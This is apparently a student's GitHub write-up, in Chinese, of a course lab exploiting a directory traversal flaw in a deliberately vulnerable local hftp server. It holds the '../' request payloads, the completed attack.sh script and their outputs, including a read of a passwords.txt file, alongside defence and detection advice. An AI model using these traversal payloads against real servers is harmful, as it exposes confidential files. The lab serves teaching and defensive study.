rosasip/Directory-Traversal-Attack
GitHub: rosasip/Directory-Traversal-Attack
一个基于存在漏洞的 FTP 服务器的目录遍历攻击实战演练项目,涵盖漏洞利用、影响分析、修复建议与网络流量检测。
Stars: 0 | Forks: 0
目录遍历攻击演练
**场景:** 受雇于 IRS 调查“Fairly Oddparents Corp.”,这是一家被怀疑隐瞒真实收益的公司。他们只公开发布了一个 `general/` 文件夹,但 Timmy、Wanda 和 Cosmo 被怀疑将真实的报告藏在了他们的个人文件夹中。我的任务:使用目录遍历攻击来获取那些隐藏的文件。
## 我的实际成果
- 启动了一个存在漏洞的 FTP 服务器(`hftp`),并确认其只对外提供 `general/` 目录的访问。
- 编写/完成了 `attack.sh` 以自动发起攻击。
- 使用 `../` 遍历逃逸出 `general/`,读取了我本不该看到的文件。
- 找到了公司一直隐瞒的**真实**收益。
- 调试了损坏的 bash 赋值语句、重复的文件以及卡死的 Vim 会话。
## 环境设置
在 `~/ftp_folder` 中我发现了:
| 项目 | 是什么 |
|------|-----------|
| `attack.sh` | 我必须完成的 bash 脚本(“攻击者”) |
| `scripts/start-server.js` | 启动存在漏洞的 `hftp` FTP 服务器 |
| `scripts/attack.js` | 向服务器发送请求并打印返回内容 |
| `general/` | 公司唯一公开发布的文件夹 |
| `timmy/`, `cosmo/`, `wanda/` | 嫌疑人的个人文件夹(目标) |
| `activity.pcapng` | 用于取证任务的网络抓包文件 |
服务器运行在 `http://localhost:8888`,其工作区根目录为 `/home/codepath/ftp_folder/`。公开文件位于 `general/reports.txt`。
## 分步指南:我的操作
### 1. 确认服务器脚本
`cat scripts/start-server.js` 显示了一行内容:
```
var pkg = require('/usr/local/lib/node_modules/hftp');
```
这个 `require` 就是实际启动存在漏洞的 FTP 服务器的代码。
### 2. 启动服务器并测试流程
```
node scripts/start-server.js & # & runs it in the background
node scripts/attack.js "http://localhost:8888/general/reports.txt"
```
响应:
```
Earnings are up 900% this quarter!
```
这是公开的(可疑的)声明。流程正常。
### 3. 执行遍历
诀窍在于 `../`,它可以向上跳出服务器打算提供服务的文件夹。由于服务器没有对路径进行过滤,我逃出了 `general/` 并到达了同级的文件夹。
**列出 Timmy 的隐藏文件夹:**
```
node scripts/attack.js "http://localhost:8888/general/../timmy/"
```
显示内容:`fishnames.txt`, `passwords.txt`, `reports_original.txt`
**读取 Timmy 的原始报告:**
```
node scripts/attack.js "http://localhost:8888/general/../timmy/reports_original.txt"
```
响应:
```
Earnings are down 1600%...
```
**这就是谎言。** 公开报告称*增长了 900%*;而隐藏的原始报告显示*下降了 1600%*。
**列出并读取 Cosmo 的文件夹:**
```
node scripts/attack.js "http://localhost:8888/general/../cosmo/" # passwords.txt, reports_original.txt, rocknames.txt
node scripts/attack.js "http://localhost:8888/general/../cosmo/passwords.txt" # -> password
node scripts/attack.js "http://localhost:8888/general/../cosmo/rocknames.txt" # -> mr. rock
```
## 我遇到的错误(以及我如何修复它们)
这是最真实的部分。这些都不是“做错了”,而是在终端中工作时的正常磕绊。
### 错误 1 — 损坏的 bash 赋值
脚手架中原本有:
```
ATTACK_PATH = "http://localhost:8888/general/reports.txt"
```
**出错原因:** bash **不允许**在 `=` 周围有空格。如果有空格,bash 会认为 `ATTACK_PATH` 是一个*命令*并报错。
**修复:** 删除空格。
```
ATTACK_PATH="http://localhost:8888/general/reports.txt"
```
### 错误 2 — 文件在 Vim 中被复制了
在编辑时,第 1 步和第 2 步被**粘贴了两次**(第二份副本甚至包含格式错误的 `## Step 1`)。逐行的精细修复变得一团糟。
**修复:** 与其费力修改,我不如直接清空文件并一次性重新干净地编写它(见错误 4)。
### 错误 3 — 在 Vim 中卡住了
我不小心进入了 **Visual Block 模式**(屏幕底部显示 `-- VISUAL BLOCK --`)。我的 `:q!` 被*输入到了文件中*,而不是作为命令运行,产生了一堆像 `:q!kill -9 $vulnpid` 一样的乱码。
**修复:**
1. 按两三次 `Esc` 退出任何插入/可视模式。
2. 输入 `:q!` 它必须出现在屏幕的**左下角**,而不是文本中。
3. 按 Enter 键退出且不保存这些乱七八糟的内容。
**Vim 生存小抄:**
| 我想... | 这样做 |
|--------------|---------|
| 开始输入 | 按 `i`(插入模式) |
| 停止输入 / 运行命令 | 按 `Esc`(命令模式) |
| 保存并退出 | `:wq` 然后按 Enter |
| 不保存退出 | `:q!` 然后按 Enter |
### 错误 4 — 干净地重写文件
我没有去修改一个乱七八糟的文件,而是使用 *heredoc* 从头重建了它。带引号的 `'EOF'` 告诉 bash 原样写入所有内容(这样 `${GREEN}`、`$!` 和反引号就会被原样保存):
```
cat > attack.sh << 'EOF'
...file contents...
EOF
```
然后用 `cat attack.sh` 进行了验证。干干净净。
## 完成的 `attack.sh`
```
#!/bin/bash
# 作者:Liang Gong
# 修改者:Sar Champagne Bielert (CodePath)
# 修改者:Andrew Burke (CodePath)
# 这些行帮助输出以彩色打印!
RED='\033[0;31m'
BLUE='\033[0;34m'
GREEN='\033[0;32m'
NC='\033[0m' # No Color
### 步骤 1:启动服务器
echo -e "\t[${GREEN}start vulnerable server${NC}]: ${BLUE}hftp${NC}"
node scripts/start-server.js &
vulnpid=$!
### 步骤 2:等待服务器启动
sleep 2
echo -e "\t[${GREEN}server root directory${NC}]: `pwd`"
### 步骤 3:执行目录攻击
ATTACK_PATH="http://localhost:8888/general/../timmy/reports_original.txt"
node scripts/attack.js "$ATTACK_PATH"
### 步骤 4:清理易受攻击的 npm 包进程
kill -9 $vulnpid
```
运行它:
```
chmod +x attack.sh # make it executable (only needed once)
./attack.sh
```
**为什么填写的每一行都很重要:**
`node scripts/start-server.js &` 其中的 `&` 在**后台**运行服务器,以便脚本可以继续执行。这是必须的,因为下一行 `vulnpid=$!` 会捕获最近的后台作业的进程 ID (`$!`),以便脚本稍后可以将其杀死。
- `sleep 2` 给服务器留出一点时间,让我们在攻击它之前启动完毕。
- `node scripts/attack.js "$ATTACK_PATH"` 使用存储在变量中的路径运行攻击。
## 我的发现
| 路径 (通过遍历) | 内容 |
|----------------------|----------|
| `general/reports.txt` (公开) | 本季度收益增长了 900%!*(谎言)* |
| `general/../timmy/reports_original.txt` | 收益下降了 1600%... *(真相)* |
| `general/../cosmo/passwords.txt` | password |
| `general/../cosmo/rocknames.txt` | mr. rock |
**结论:** 不,收益并没有增长 900%。隐藏的原始报告显示它们实际上**下降了 1600%**。那个公开的文件夹只是个幌子。
## 目录遍历到底是什么?
Web/文件服务器本应只从一个文件夹(这里是指 `general/`)中提供文件。**目录遍历**攻击利用 `../`(“转到上一级文件夹”)跳出预期的文件夹,并访问系统上其他位置的文件。当服务器**不过滤**所请求的路径时,这种攻击就会奏效。其危害在于:机密文件会被暴露给本不该看到它们的人。
## 为什么此方法会奏效以及你该如何阻止它(防御)
- **根本原因:** `hftp` 服务器信任我发送的路径并按字面意思解析 `../`,因此它跳出了 `general/` 目录。
- **真实应用程序会使用的修复方案:**
- 过滤并**规范化**路径,然后拒绝任何解析结果超出预期根目录的内容。
- 在**受禁锢**的目录(chroot / 容器)中运行服务器,这样就无处可*遍历*了。
- 应用**最小权限原则** 服务器账户根本不应该有权限读取个人文件夹。
- **检测它:** 对路径中包含 `../` 或 `..%2f` 的请求发出警报(这正是 `activity.pcapng` 任务的内容所在)。
## 我学到的关键命令
| 命令 | 作用 |
|---------|--------------|
| `node script.js &` | 在后台运行 Node 程序 |
| `$!` | 最后一个后台进程的 PID |
| `sleep 2` | 暂停 2 秒 |
| `chmod +x file.sh` | 使脚本具有可执行权限 |
| `./file.sh` | 运行当前文件夹中的可执行脚本 |
| `VAR="value"` | 分配 bash 变量(`=` 周围不能有空格!) |
| `cat > file << 'EOF' ... EOF` | 从终端写入文件 (heredoc) |
| `i` / `Esc` / `:wq` / `:q!` | Vim:插入 / 命令 / 保存+退出 / 不保存退出 |
那么为什么要使用 `.sh` 文件?** 因为攻击不是单一的命令,而是一个序列(在后台启动服务器 → 等待 → 设置目标路径 → 运行攻击 → 杀死服务器)。Shell 脚本将整个序列捆绑到一个可重复、可执行的文件中,因此我只需运行一次 `./attack.sh`,而不必重新输入每一个步骤,而且它还允许我存储和重用像 `ATTACK_PATH` 这样的变量。
标签:Bash, GNU通用公共许可证, MITM代理, Node.js, OPA, 安全, 应用安全, 数据泄露, 超时处理, 靶场